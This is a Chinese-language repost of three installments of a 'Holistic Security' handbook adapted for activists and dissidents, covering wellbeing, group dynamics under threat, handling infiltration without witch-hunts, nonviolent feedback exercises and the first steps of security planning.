大部分章节都附有一个或多个练习，这些练习应有助于您根据自己的情况了解相关内容。这些练习通常可用于个人，但也可以在较大的团地中进行。还包括一些小贴士，以帮助您在团队环境中促进这些练习。

为了在一个集体或组织内有效地实施，您将需要定期和持续地留出时间和空间，在行动主义的背景下，以群体的思考方式来处理您的安全和利益。

该手册是由安全和战略培训人员组成的编辑小组与一大批专家和人权维护者合作编写的；因此，其结构反映了在培训场景中使用的结构。每一节的练习都为个人或团体提供了思考的空间，以促进自我导向的整体安全实践路线，而无需外部培训和专门知识。

为了便于中国读者理解，接下来我们将把 “人权维护者” 改为 “敏感人士”。

1.1 什么是整体安全

「图」

敏感人士的安全往往被置于相当狭隘的角度上，例如 保护他们不受暴力袭击、避免办公室被突袭、司法骚扰、或遭受武装团体的威胁。然而，这就忽视了许多不同的、微妙的压迫方式，也忽视了敏感人士为保护自身和工作可以采取的重要步骤。

本节将探讨福祉、各种安全战略和管理您的数字信息等概念，作为 “整体” 方法的基础。

作为颠覆性和政治性的福祉

「图」

整体办法将敏感人士的安全视为行动中的福祉：在继续从事工作的同时，保持身心健康和自我照护。

📌 当权者的镇压战略在很大程度上是以令敏感人士恐惧、消沉、孤独、失去互信和联合行动的能力为目标的，他们试图给敏感人士制造一种幻觉即 “反抗是一种地狱般的生活”。事实上完全相反，臣服才是地狱，反抗是摆脱地狱的途径 —— 直接行动是最好的疗愈。但敏感人士必须能主观体验到这一点，即福祉；当能做到时，它就是颠覆性的和政治性的。

为了保护敏感人士免于承受压力、疲劳、创伤和悲伤等问题的威胁，人们必须自觉和有意识地进行自我照护(selfcare)。自我照护不应被理解为一种自私的行为，而应被理解为一种自我保全的颠覆性的政治行为。

作为敏感人士，您如何在行动主义的背景下定义自己的福祉是主观的，也是非常个人化的。它受到您的身体和思想的不同需求、面临的挑战、您的信仰（宗教、精神或世俗）、您的性别认同、利益和关系的影响。

📌 敏感人士必须为自己确定安全感，并在此基础上在您的团体、组织和运动中建立团结和相互支持。这一步对于接下来的分析和战略制

定过程至关重要，以捍卫和扩大你们在促进和捍卫人权方面的积极行动空间。

维护工作需要的社会政治空间

「图」

我们可以把对敏感人士的攻击看作是我们的对手 —— 那些不赞同我们的目标或积极反对我们的目标的人 —— 企图阻止我们继续工作的社会政治空间。这种空间可以包括实际的物理空间，也可以包括经济、社会、技术、法律或环境空间。

📌 对安全采取有组织的办法意味着捍卫敏感人士的工作空间，最好是扩大它。

为了实现这一目标，您可以实施一些策略，鼓励他人接受您的工作，阻止对您的攻击，或者可以用这些策略保护自己。本指南将探讨一些可以帮助敏感人士实施这些战略的工具和策略。

的敏感数据 —— 您管理的文件、您的电子邮件和手机通讯等，现在比以往任何时候都更为重要。由于在人权活动中越来越多地使用数字技术，您的对手和他们构成的威胁也适应了这种新环境。敏感人士必须有意识地识别和保护自己的数据，这不仅是一种安全措施，也是一种政治上的自我赋权行为。

- 更多解析见 列表-1 “为自由而战”

因此，建议将整体安全做法视为保护敏感人士、其家庭和社区的福祉和媒介，方法是始终如一地使用各种工具和策略，以相互支持和加强的方式促进心理-社会、身体和数字的安全。

将整体安全称为 “行动中的福祉”，意味着将安全视为赋权的来源。

任何情况下都能发挥作用。您需要预料到意外事件的发生，并保持 “在场”、参与和集中，以磨练您的应对能力。

📌 接受我们无法让自己在任何情况下都百分百 “安全” 的事实，您还需要建立自己的复原力和灵活性。

从这个意义上说，复原力是指从挫折或伤害中迅速恢复的能力；灵活性是指针对新的或正在出现的威胁迅速采取新的安全做法的能力。

因此，您的目标肯定不是为了安全而停止工作和活动，而是减轻和减少您可能面临的威胁，在开展工作时保护您自己和您的社区。

对大多数敏感人士来说，复原力和灵活性的概念并不新鲜，拥有在危险工作中保持安全的工具和策略的想法也不新鲜。在制定新的安全办法之前，值得通过完成以下练习来探讨您现有的一些做法。

练习：反思现有的安全实践

「图」

这个练习可以帮助您反思安全对您的意义，并探索您有意识或无意识的安全战术、计划和策略。

您会对您现有的做法有一个快速审视，它们是如何相互影响的，以及您如何利用它作为下一步的基础。

不论是个人练习和社区团队的分组讨论，都是好的；您可以把答案写在便签上，或者白板上。

问自己或小组以下问题：# 考虑下 “安全” 或 “安全性” 这个词，这实际上对您意味着什么？您需要什么才能感到安全？

- 您每天都在做什么以避免危险并保护自己、自己的财产、朋友或家人？
- 最近一次您作出的能使自己感到安全和坚强的事，是什么时候？
- 回忆您进行的危险活动。为了安全起见，您做了什么？
- 还有哪些其他人在帮助您感到安全方面是重要的？
- 哪些资源或活动在帮助您感到安全方面是重要的？

1. 您过去对威胁的反应是什么样的，包括顺利的，和不顺利的

- 在威胁识别方面存在的差距是什么
- 您可能希望改变的事是什么
- 使您有信心面对新威胁的事、应该继续下去的事是什么

1. 过去的经历给您带来了什么样的危险情况？

- 当您发现自己处于潜在危险的环境中时，是否有任何情况会使您很容易焦虑或害怕？
- 是否有您信任的人可以帮助您识别任何毫无根据的恐惧？

- 您感到无法轻松识别哪些威胁？
- 您将如何检查自己是否未能识别某些危险指标？
- 您觉得与谁讨论您的恐惧和可能出现的盲点更合适一些？

由于这个练习可能会对情绪造成挑战，因此要向您的同事清楚地说明这一点。重要的是，不要让您的同伴觉得自己是被强迫参加这项活动的，如果有人开始感到痛苦，应立即停止。

将其与其他练习活动联系起来也是一个好主意，因为这些活动涵盖了社会心理健康的领域。

花点时间做这些练习，把您的答案写清楚是很有帮助的，这样在您加深自我意识的时候，就可以回过头来看它们。

📌 请注意，要把您的笔记放在一个私密的地方，只与您信任的人分享您的个人想法和问题。〇

—— 未完待续 ——

原文

“抓特务” 不是解决方案：整体安全（2）- 威胁响应 - iyouport

整体安全！-课程和训练

【2020年11月17日存档】酒肉朋友和患难之交的区别是什么？当您遭遇威胁时，您会期待谁与您并肩作战？..... 如果我们不能彼此照应，结果是什么？您可以诚实地对自己说出加入这一组织/团队、参与这项工作的动机是什么吗？

本系列内容中的练习题都很重要，中国朋友可以在您感觉到安全的群组中尝试这些练习，它们将有望把您的普通群聊或圈子升级为社区。

群聊不是社区，两者有根本性区别。

在群聊中，人们的基本想法是 “你/你们能给我什么” —— 这可以是资讯、可以是人脉、可以是简单的被关注的存在感（挑起争论以获得聚焦）、甚至寻求新的约炮对象（性资本的炫耀/交易）；在这种环境下人们不得不拼命表现自己的“价值”，以避免被边缘化。

但在社区中，人们的基本想法是 “我们一起能做些什么”，“我如何能发挥自己的力量以协助我们的共同目标”。因为您不会担心被边缘、被排斥，每个人的力量和特长都能有用武之地，因为你们有一个共同目标，因此有足够的互信、协作以排除危险摆脱困境的动力。

在中国，我们听到过很多焦虑，基本都集中在缺乏信任以及竞争的压力方面，这是完全可以理解的 —— 当你们无法信任彼此时，您就不得不隐瞒自己的信念；而当您被置于竞争环境下的时候，您将被迫更多地索取。我们对信任问题有过一些解释，也对渗透的操作给出过具体分析；在我们看来，人们唯一缺乏的是一个共同目标，目标就是信任的指标，也是将竞争良性化以提高效率的最佳工具 —— 想想看，如果您发现其他人的努力朝着你们的共同目标坚定地前进，您甚至不需要知道对方的真实名字，也能将其视为联合力量，对吗？另一方面，只有在个人利益高于共同目标的情况下，人们才会因竞争而互相排挤。

但是，并非建立一个共同目标就能化解一切问题，组织和沟通技巧仍然非常重要，而且需要您的实际练习才有希望实现它。这就是本系列的主题。请注意，本系列内容需要系统化的掌握，单独任何一篇文章可能都无法真正帮您解决问题。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》

曾经有多位中国读者很感兴趣关于IYP为什么能在一无所有的情况下坚持这么多年，是什么样的信念在支撑我们？这个问题的答案当然可以描述得很具道德高度和正义感，但那不是真的。

事实上推动我们放弃一切利益并坚持下来的信念无比简单，就是：我们不相信这个互联网会饿死异议，不相信免费的知识无人问津，不相信实用性在互联网上没有观众。或者说，我们不服输。

如果我们活下来了，我们的存在就是胜利。

您看到，这是一个非常个人化的叛逆心态，并没有什么高大上；而实际上正是这样的信念，而不是什么高大上的精神，在支撑着我们坚持下来。

承认这点并不丢脸。相反，它很重要。也是本集的主题之一。

敏感人士对于自己的工作的看法和自己的安全概念，在一定程度上都是内心信仰和价值观的产物。是您的身份意识和对世界的看法推动和指导着您的行动主义，并支持您如何开展工作。它也是您处理安全问题的方法。

内心的信念和价值观可以成为帮助您保持专注、保持安全和建立复原力的宝贵资产，无论这些价值观是宗教的还是精神的，是无神论的，还是基于家庭或社区的。

信念往往非常个人化，就如上述IYP的信念，有些时候您可能不会在小组成员和同事面前提及它，您担心无人理解；但是在很多情况下，正是这些信念而不是那些高大上的口号，共同推动着人们完成任务。

喊口号很容易，但如果人们对口号无感，您就无法真的凝聚人们。

所以，不要羞于谈论您最真实的内心信念，您的动力之源。只有这样

才能让您和您的队友产生真实的连接。你们之间的连接是否真实，是你们能否抵御侵害的基础。

📌 创造一个安全的共享空间来开放您自己的内心是很重要的。理想的情况是，您可以在这样的环境中取得成就：您的个人信念得到尊重，对其他人的灵感和复原力来源表示同样的尊重和鼓励，如果他们与您不同的话。

对您的信仰采取集体开放的态度，可以培养一种尊重、理解的文化，使同事之间的工作关系更加密切，并能缓解分歧、紧张和不信任。

人们很容易认为，因为您和您的团队或同事都在为一个共同的目标而努力，所以你们的信念是相同的。事实不一定如此，如果您能花时间去了解和理解对方的个人信仰，就能更好地理解对方。

为了创造一个健康的工作环境，敏感人士的工作空间必须是开放和尊重的，每个人都感到能够分享激励他们的价值观，这种方式不会导致评判、争论或教条，而是促进团结、相互尊重和学习。

📌 在对安全问题采取全面做法的背景下，敏感人士应当明确为这种分享提供空间，以便承认激励不同的价值观，帮助你们建立复原力，并在危险面前继续工作。

信仰和文化习俗是联系或分裂的根源

「图」

尽管信仰和文化习俗可以成为一个团队内部的团结或联系因素，但它们也可能成为相反的因素 —— 如果您作为组织者不鼓励少数群体的做法，它们就会成为一种分裂的力量。这不仅会对那些被边缘化的人产生负面影响，而且会对整个群体产生负面影响。

从更广泛的社会来看，信仰和文化习俗可以在你和你想改变的社会之间形成一种统一的（也许在战略上有用的）联系。然而，它也可能成为一个分裂因素，将你与“他人”分开，并可能被利用来羞辱或针对你。

这一问题将在后面文章中做更多具体介绍。

📌 敏感人士很少会独自一人工作，也很难做到独自一人：在制定全面的安全办法时，认识到您的团体、组织和社区如何集体应对威胁，

以及团体动态如何在危险面前发生变化，是很有帮助的。这将有助于您确定群体动态的困难方面和改善沟通的战略，以建立团结、信任和更好的安全做法。

威胁状况下团体会发生什么？

「图」

与个人一样，当一个、部分或所有成员发现自己受到威胁、被边缘化或暴力（包括经济、性别、体制或结构性暴力）时，群体动态也会发生变化。

群体动态变化的具体方式在很大程度上取决于相关群体本身。

📌 一些可预测的群体反应包括以下内容：

1、变得更加封闭

「图」

该团体开始加固其围栏，使成员更难以离开、其他人也更难以加入。这种封闭也会限制成员获取信息的机会，或减少他们将自己对事件的看法与外部各方的看法进行比较的机会。简单说，变得更加井底之蛙。

您知道中国异议人士的小圈子吗？嗯，就是那样。这与不擅长组织动员有一定关系，但更多的原因是，被当权者的渗透和镇压吓到了。

而当权者的渗透和镇压正是希望看到这种状况的出现：自闭的、极化的、虚无主义盛行，无法再联合起来利用自身庞大的基数给统治者带来压力。

2、固定模式

「图」

第二个可预见的变化是，敏感人士群体的行为模式变得更加固定，更难改变。因此，成员们更难对现状提出质疑。

这也是为什么新颖的反抗模式和安防措施非常难以接触到某些长期工作的敏感人士，似乎越是“资深”就越是自闭和顽固。您也许可以理

解这点，因为对于这些敏感人士来说，他们感觉到的是“我好不容易找到了一个合适的模式，对它的任何更新都可能是危险的”。

良好的组织是，各团体必须定期以诚实的方式重新审视和讨论其共同的价值观，以保持公平和包容性。

3、变得更专制主义

「图」

第三个可预测的变化与群体内的领导和权力动态有关。当群体感到不安全时，成员就会容忍领导者或群体中其他更有权势的成员的更大的专制主义。

在极端的情况下，群体中的强势成员可能会滥用权力，而群体边界的日益僵化可能会阻止受害者离开。

这也是一种棘轮效应 —— 面对灾难和威胁的人们倾向于寻求更强大的权力的保护。

这种情况非常常见。您一定记得异议人士群体内为什么普遍表现偏执，大多数理性思考都恐怕被怀疑为“立场不坚定”，从而被边缘化。这样一来反抗群体将更加难以获得进步，参与者变得压抑呆板，失去了创造力。

📌 从决策与安全之间的联系来看，我们不应低估公平和透明的决策过程的积极影响。如果一个团体能够具备共同的责任和知识，那么你们的对手针对你们的威胁就不会那么明显。

也许您可以在您自己所在的圈子/群组中识别出其中的一些行为，也或许您发现了更多不同的现象。不管怎样，在任何情况下反思您的群组在受到威胁时经历的任何变化都是非常好的做法 —— 请记住，人们对这一点的看法可能有很大的不同 —— 并找出你们可能能够改进的任何共同问题。

保持开放的对话和沟通渠道将提高你们避免这些和其他破坏性行为的机会。后面将更详细地介绍如何培养健康的安全沟通文化。

不信任和渗透

「图」

不幸的是，渗透是常态，是全世界任何活动团体或组织面对的共同问题。

- 《警察渗透抗议运动简史》
- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》

对渗透的了解往往只会带来更多的互不信任和危险意识。同时，压力和创伤也会增加人权维护者之间的不信任感。

📌 敏感人士必须考虑到自己的团体或社区的一些成员会否成为告密者的可能性。请注意，妖魔化任何人都是无济于事的；在压迫的背景下，他们往往也是受害者。

在这种情况下，您最好的选择是采取措施来保证社区的整体安全，而不是助长怀疑和不信任的气氛，因为这可能会导致“猎巫”，对您自己和您的事业都产生负面影响。

建立公开的小组讨论，就如何处理敏感信息的透明程序达成一致，以及定期审核关于保密和小组活动透明度的决定，都会有所帮助。

渗透者和政府线人往往试图记录甚至挑起敏感人士团体的非法活动。您可以通过确保您的团体的所有活动都受到国际法和《世界人权宣言》、《公民及政治权利国际公约》和《经济、社会、文化权利国际公约》等标准的认可，来减少这些策略影响您的风险。

对于那些鼓吹恶毒的或暴力手段的成员，应小心处理，并检讨其成员资格。

在这里下载 Ruckus 的行动策略指南。

就同伴和组织中的安全性进行沟通

「图」

如上所述，一旦敏感人士能够更好地了解个人和团队对压力和威胁的反应，就可以在自己的团体和组织中引入健康的做法，以防止或应对你们发现的任何共同问题。

然而，可能依然会有一些障碍阻止您在组织内公开讨论安全问题，例

如 —— 沉重的工作负担、恐惧、担心自己的观察会被误解为偏执狂、性别问题和权力动态等。

📌 您应该努力建立信任的氛围，安排有关安全的定期检查，以及建立健康的人际沟通文化，这将帮助您：

- 更准确地感知威胁
- 了解团队成员为什么会对压力或威胁做出不同的反应
- 更准确分配安全措施的角色和责任
- 增加团队对安全措施的掌握能力
- 团结和关怀遭受威胁的同事

下面将详细探讨这些策略中的每一种。

1、在团队中建立信任

「图」

📌 只有在您真的信任与您一起工作的人时，才会更容易实施安全措施，并且彼此间更容易分享担忧、经验、甚至曾经错误的教训。

建立信任的方法有很多，不同的组织也会有所不同。您可能想从工作之外的相互了解开始，定期检查团队的健康状况、压力水平、以及团队成员的个人生活是否影响到工作（反之亦然）。

围绕等级制度和决策结构的透明度，以及如何处理个人或敏感问题的明确协议，也是一个好主意，如果能有一个值得信赖的顾问或心理学家那就更好了。跨领域合作非常重要。

在团队中建立信任并不是一件容易事 —— 考虑到前面提到的渗透的广泛可能性，它涉及赌注和承担风险。然而，它也可以激励您建立、并信任您和队友们管理敏感信息的策略。

信任的氛围还有赖于每个人都能给予和接受建设性的批评和反馈，这将在下文中进行更多探讨。

2、鼓励定期进行有关安全性的讨论

「图」

📌必须创造定期的、安全的空间来讨论安全的不同方面。您和队友之

间必需能互相知道对方的发现和经历。

这将有助于敏感人士团队将安全视为一个重要和有效的讨论议题，并使您在提出关切时感到更加自在。如果您的团队已经定期举行小组会议，就可以利用这些会议来分享安全局势的任何潜在变化（后面的文章将更详细地探讨这点）。

在为每个项目或活动进行战略规划和准备时，也应留出空间考虑安全问题。这样一来，安全问题就可以成为团队成员经常思考的问题 —— 成为行动主义的一个组成部分，而不是一个单独的话题让别人去担心。

在高风险的情况下，增加检查次数，鼓励成员讨论安全问题是非常必要的。

练习

「图」

本练习的目的是帮助您思考如何以及何时与同伴、同事或团队谈论安全问题。本练习最好由至少两个人协助进行，但也可以作为您与同事互动时的有用的个人思考工具。

这个练习有助于在您的团队/小组中开始一个建设性地谈论和讨论安全问题的过程。

为了以参与的方式进行练习并记录下来，您可能需要一些书写材料 —— 卡片或便签和标记物；大面积的墙面空间，活动挂图或插脚板也可能有用。

步骤**1**：将您的组织分成两人一对的组合。让每一对成员都考虑以下有关组织动态的问题，并写下答案。# 在组织对话中，哪些主题占据了大部分时间？

- 在组织内讨论中，哪些话题我们几乎没有涉及到？在组织互动中的哪些方面会让我们感到振奋？
- 在小组互动的哪些方面会让我们感到疲惫不堪？冷场，难以进行下去？
- 当人们意见分歧时，组织会发生什么？
- 您是否为个人创造了发展和完善自己的安全实践的空间？描述一下：这个空间何时何地存在？是否足够？如果需要，您将如

何扩展此空间？
- 您是否有足够的空间与他人（例如与您紧密合作的同事或队友）谈论安全问题，以及在必要时如何创建或扩展此空间？

1. 我们要在哪里以及如何确定安全方面的优先事项？

- 将安全作为一个整体进行讨论会引起哪些常见问题？
- 什么东西会妨碍我们谈论安全性？我们该如何处理？
- 我们如何才能创造和维持足够的空间来谈论安全性问题？就时间和资源而言，这意味着什么？
- 我们如何提高组织内互动在安全性方面的效力？
- 致力于更改现有的安全实践会出现什么问题吗？我们是否正在抵制改变，不论是个人还是群体，为什么？

1. 您是否应该在家人和熟人圈子里有类似的安全意识？

- 当危险出现时，您的家人和熟人受到影响的方式会有什么不同吗？
- 您以什么方式传达您的敏感工作可能招致的威胁对您的家人、社区、朋友和不在工作圈内的其他人的影响？

1. 如果你们的讨论没有取得进展，会怎样？

- 如果你们中有人不遵守规则泄漏了你们的讨论，会发生什么？

准备好您的答案。

培养人际沟通的健康文化

「图」

即使敏感人士认识到了谈论安全的重要性，也会感到困难。安全是一个非常个人化的话题，在讨论自己的弱点时，不管是什么弱点，人们都很可能感到的是一种被暴露感。

作为组织者，您需要确保人们感到交流的安全和尊重，并避免误解或冲突。以下是需要考虑的一些因素，这些因素可能会影响到团体和组织中关于安全的交流。

1、围绕安全问题的普遍气氛是什么。

围绕安全的现有(组织)心态是什么？分配给讨论安全问题的时间是否

与其他会议时间一样受到重视？当讨论安全问题时，小组成员的声音或语气是否不屑一顾？当您的同事在讨论他们的关切时，您是否真正感兴趣并与他们建立了个人联系？

如上所述，创造明确的空间来解决组织的安全问题是有效安全规划的基本步骤。

2、现有的等级制度。

重要的是在一个组织内建立这种跨等级的沟通机制，以便成员能够在没有权力动态压力的气氛中讨论问题。

3、压力下的沟通。

在压力增大的时候，注意您在团队中的沟通方式变得尤为重要。当遇到威胁或压力时，人们可能不会总是以尊重的方式进行沟通。

4、跨文化的情况。

还必须记得，沟通是文化和文化多样性的一个基本方面。您应注意在跨文化情况下的语言和非语言交流。

5、正式的沟通模式。

一些团体和组织在沟通和会议决策方面往往比较正式。如果每个人都在正式场合共同讨论并做出决定，那么关于安全的决定往往更有可能得到支持。

📌 然而，这种沟通模式有时也会限制分享安全的更多情感方面的内容：在这方面，可能值得考虑其他的促进方式，为这种分享创造空间。

在敏感人士的一般工作中，但特别是在试图围绕安全问题促进公开和健康的沟通时，非暴力沟通技巧可能非常有用。

非暴力沟通是一种基于以下假设的沟通方法，即：所有人都有同情心，我们都有同样的基本需求，我们的每一项行动都是满足其中一项或多项需求的战略。

采用这种方法，它可以成为促进健康的跨文化交流的有效途径，特别是用于提供和接收有关安全的反馈，以及讨论攻击、事故、威胁或其他与安全有关的事件对我们个人和团体的影响。

您可以通过下面这个练习了解更多关于非暴力沟通的知识。

练习

「图」

本练习的目的是练习非暴力沟通，作为提高团队和小组内部安全问题沟通效率的一种手段。它提供了一个反思的机会，让我们思考如何以清晰易懂的方式提供反馈，避免一些可能导致争论或无效沟通的陷阱。

该练习最好先以两人一组的方式进行，但也可以调整为更大的群组。

在活动挂图等可见的地方张贴 *非暴力反馈准则* 可能会很有用。

决定进行反馈讨论的环境（可以两人一组，或与观察员轮流进行）。参与者应选择一个他们想提供反馈的主题（真实或想象的）。这可以是一个与安全有关的话题，例如已经发生的事，或者是其他完全不同的话题。

请提供反馈的参与者遵循以下准则。对于每条准则，都会给出一个小的说明性例子。在这里，我们想象一个两个同事谈话的场景：其中一个同事经常加班到很晚，有一次离开办公室时忘了锁门；另一个同事想谈谈这件事。

接受反馈的人只能提出一些澄清的问题，而不能对反馈的内容进行评论、回复、辩解或质疑。

非暴力反馈指南

「图」

1、“我为我自己说话” —— 您只能根据自己的主观经验说话，而不能说 “常识”，“我的团体”，“我们” 或 “某”，而只能说 “我”。

例子：“当我发现办公室门大敞着时，我感到不安全”。

不良做法：“你昨天所做的事使我们处于危险之中！”

2、“你观察到了什么？” —— 您只应在经历事实时讲这些事实，这样对话者才能知道您的反馈所指的是什么（您所看到、听到的等等）。

例子：“今天早上我到达办公室时，前门是开着的，没用钥匙我就进来了”。

不良做法：“昨天是你忘了锁门！”

3、“您对此有何反应？” —— 您对自己的经历有什么内在感受和身体反应？尽量不要评论它，但再一次，只要从您的经验中了解就可以了。

例子：“我非常担心，害怕我们已经被抢劫了。当我发现一切正常时，我仍然很生气。”

4、“您如何解释它？” —— 您的个人解释为事实带来了什么？尽管您的个人解释确实是主观的，但它仍然很有价值，可以丰富您的经验。

例子：“我认为发生这种情况是因为您工作很晚了，很累，只是忘了锁门”。

5、“您的愿望、建议或兴趣是什么？” —— 根据这种经验，您对变更有何建议？应无要求地提供这些信息。

例子：“如果我们都能得到足够的休息、不会过度劳累，那么我会感觉更好，以便我们能够更好地照料这样的事，所以如果您不工作到这么晚会更好。”

然后请两人分享他们对反馈过程和方式的见解 —— 而不是内容。他们是否体验到与平时接受反馈时不同的感受？

此练习还可以用于阐明反馈的内容和语气，为实际的反馈讨论或可能困难的讨论做准备。

📌 中国朋友可以选择您所在的安全群组，尝试这些练习；更好的是与您的同伴面对面尝试这些练习，它或许有希望将群聊升级为社区。

备注与技巧 ——

「图」

重要的是用您的耳朵而不是用嘴巴，来接受反馈，并将其理解为您的队友的个人反映，而不是 “真相” 或邀请你为自己的行为辩护。

您自己来决定它是否对您有价值，以及如何对它作出反应。遵循这样

的方法可能是预防团队内部冲突的一个步骤。因此，它可以促进你们的整体福祉。〇

—— 未完待续 ——

原文

知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者 - iyouport

整体安全！-课程和训练

【2020年11月19日存档】确立您的目标，分析您身边的所有人 ……

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》

在前两集中介绍了整体安全的基本概念和须知，并针对敏感人士最常见的危险 如 渗透和内部分裂提出了一些想法；建议您按顺序阅读本系列，其中的练习题都很重要，因为这是一个解决方案的框架，只有通过实际练习，才能真正解决您自己的组织中面对的具体难题。

📌 敏感人士对自己所处的环境进行系统性分析是一项很重要的活动，它是能力的基础 —— 帮助您设计和维持最新的和准确的安全战略。随着您的生活和工作环境的变化，您的安全状况也自然会发生变化。

不断变化的威胁

「图」

您面临的威胁在不断变化中，只有承认这一事实并作出相应的计划，安全战略才会有效。这就是为什么无法有一套通用的、甚至持续有效的安全措施，寻求这样的安全建议或者任何人承诺存在这样的安全建议，都是不现实的。

📌 如果只是习惯性地或根据听来的说法采取防御，您很可能会发现

它们不够实用，尤其是不断变化的环境使这些措施失去效力。

本集内容将概述敏感人士可以如何提高对不断变化的环境的认识，制定战略以实现您的目标，同时避免、减少和减轻可能出现的威胁的不同方法。

这些步骤中的许多您可能已经很熟悉了，也可能已经在实践：但是，如果可能的话，系统化地进行这些步骤是非常有帮助的。在后面的内容中，我们将按照从一般到具体的顺序，深入探讨每一个步骤。

当然，在实践中使用这些工具的顺序取决于您自己和您的组织的具体工作和规划过程。

本系列内容全部都在强调框架性 —— 您需要基于此框架并根据您的具体情况，设置最适合的方案。

📌 将遵循的步骤是这样的：

1、情况监测和分析：观察与您的工作有关的总体趋势 —— 政治、经济、社会、技术、法律或环境，并注意与您的安全有关的任何事态发展。

这是新闻能给您带来的最好的东西。您需要做的是，有目的地阅读新闻，在这里，您的目的就是安全措施更新；当您具有一个实际性的目的（而不是为了吐槽时），您将会从那些平时看起来普通的消息中发现有价值的细节。

社交媒体总是鼓励人们吐槽，它以影响力提升来奖励吐槽，从而压制重要的思考和行动。摆脱它。粉丝量除了虚荣的面子之外毫无价值，社交媒体灌输给人们这个价值观只是为了帮助那些巨头公司自己赚钱；尤其是对于那些并没有打算利用粉丝做生意的 **真正的** 敏感人士来说，摆脱这种错误的价值观才能帮助您找到真正有意义的社交媒体使用方式。

2、确立您的愿景和活动：在上述基础上，您可以反思自己所发现的问题、所设想的社会变革，以及您用什么策略来实现这种变革。

即 直接行动的思考方式。当您的目标确立时，这一切价值都将自然而然地出现。

3、行动者和关系图谱：建立和维护一份将受到或可能受到您行动影响的所有人员、团体和机构的清单，包括您自己、您的盟友、和您的

反对者。这将有助于为您的宣传战略提供信息，以维持您的工作空间。

简单说，您需要知道自己面对的是什么样的人，哪些人值得合作、以什么样的方式合作，哪些人需要提防，他们有可能对您构成什么样的危险和阻碍。

让您的行动计划更有效力。

4、信息图谱：考虑您的个人和职业信息，并确保这些信息不会丢失、损坏或落入坏人手中。

请注意，您的任何信息都可能为攻击者提供捷径，但没有哪一种信息可以成为直达的捷径 —— 它们往往被组合起来使用；所以，您不必担心难以保护所有信息，您只需要做到被暴露的信息真假交杂、并尽可能少地暴露，效果就会更好。

- 不要错过我们的 “护盾” 板块，其中介绍的保护性技巧对于敏感人士来说非常重要

5、安全指标：注意到不寻常的事件，这些事件可能表明您的安全状况发生了变化。随着时间的推移，分析其中任何可能影响您的安全战略的趋势。

也就是态势感知。不论是在线还是现实，这一点都非常重要 —— 如果我们能在2003年就了解到KIS（Knowlesys Intelligence System），也许那之后不会有如此多人因推特和Facebook言论而被捕。

📌 当下最重要的问题是，他人/其他社区对态势变化的了解应该能惠及所有需要相关信息的社区和敏感人士个人；它需要能够为策略调整提供重要的参考，而不是局限在点评上。做到这点需要您具备清晰的目标和敏锐的感知力，如果您无法摆脱社交媒体，也需要意识到算法操纵和 “影子禁令” 如何对内容进行限制，并有意识地通过搜索策略来避免错过重要信息。

- 关于影子禁令和看不见的审查，见《推特骇客报告证实了用于社交媒体审查的工具的存在》
- 关于如何摆脱算法操作的一些设置，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 关于搜索技巧，见《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》

6、威胁识别和分析：在进行了上述所有工作后，识别出您认为可能发生的或有潜在危害的事件或他人的行为，并做好准备。分析这些威胁的背后是谁、有哪些资源可以降低其概率或影响，以及接下来要采取哪些步骤。

7、安全规划和战术：在此分析的基础上，您可以确定并采取具体的措施来改善您的安全状况了。对于这一步骤后面文章中将有更详细的探讨。

📌 所有这些工具都可以根据您自己的计划过程进行迭代使用，以保持其及时的更新。这一点很重要。

分析与感知

「图」

上述进程旨在帮助您尽可能客观或科学地判断您的安全局势。然而，安全问题从根本上说仍然是一个人的认识问题。

在第一集中已经详细介绍了人们对安全的“主观”体验所带来的挑战和机遇 —— 您对威胁的认识可能受到挑战、受到限制或存在缺陷。

可能存在您没有能识别的威胁 —— 由于环境不熟悉或由于您的对手（尤其是当权者）成功地隐瞒了这些威胁，如电子监控，导致您无法识别；或者是没有根据的恐惧 —— 对您没有实际危险的事，但由于您的对手太过强大或您自己的焦虑情绪反应（可能与过去的创伤经历有关）所引发的错误信息，依然将其认定为威胁。这部分内容将在后面文章中作出更多具体分析。

这个问题很重要，敏感人士群体容易爆发类似“受迫害妄想”，并同时因过度恐惧而导致虚无 —— 认为自己做什么都是“无意义的”，为了缓解紧张情绪宁可相信“没什么可隐藏的”。这反而给了您的对手以可乘之机.

如果您能考虑到所有这些因素，就更容易对您所面临的威胁程度有一个 **现实的** 认识，尽管这仍然具有挑战性。面临的挑战是减少未认识到的威胁和毫无根据的恐惧的数量，以便您的安全做法尽可能有效。

📌 您可以通过进行研究和分析，以及与值得信赖的朋友或同事核对你们的共同认知，来提高您的认知的准确性。

愿景，战略和参与者

「图」

作为人权维护者，您对社会乃至国际上的事态发展进行分析，往往会发现人权方面存在的问题。然后，您必须考虑您的变革愿景是什么？

对许多人权维护者来说，这一点已经很清楚，但有时人们没有花时间清楚地阐明和界定自己的愿景或目标。

意识到这一过程有助于制定战略，而战略又能指导您就安全问题作出决定。

路径：您的愿景和目标是什么，以及您如何着手实现这些愿景和目标，这将决定社会上哪些其他行为者将采取行动帮助或阻碍您的工作，从而影响您的安全状况。

📌 在团队中工作时，对您的战略进行批判性思考就变得更加重要。对您要实现的变革和如何实现变革，保持透明和公开，不仅可以防止您的组织内部的隔膜和冲突，还可以防止您的社区或整个社会的困难和冲突。

建立您的愿景和行动

「图」

为了帮助建立或刷新您对变革的愿景，请问自己以下问题：

- 您希望解决的问题是什么？
- 您希望看到什么样的变化？
- 如果实现这一变化，之后您的社区会有什么不同？
- 如果您成功了，人与人之间的关系会有什么不同？
- 涉及此问题的其他个人，团体，机构等是谁？他们对您的行动有何反应？—— 是与您合作、还是拼命阻止您？

当您对自己想要实现的目标有了清晰的认识时，就可以开始思考 “如何” 做到了。您应该实施哪些方法和行动来实现您的目标？哪些是您已经在做的？还可以做些什么？哪些活动在实现您的目标方面可能并不像您之前所想的那样有效？ 如果有必要，可以在您的团队中抽出时间来批判性地思考这些问题。

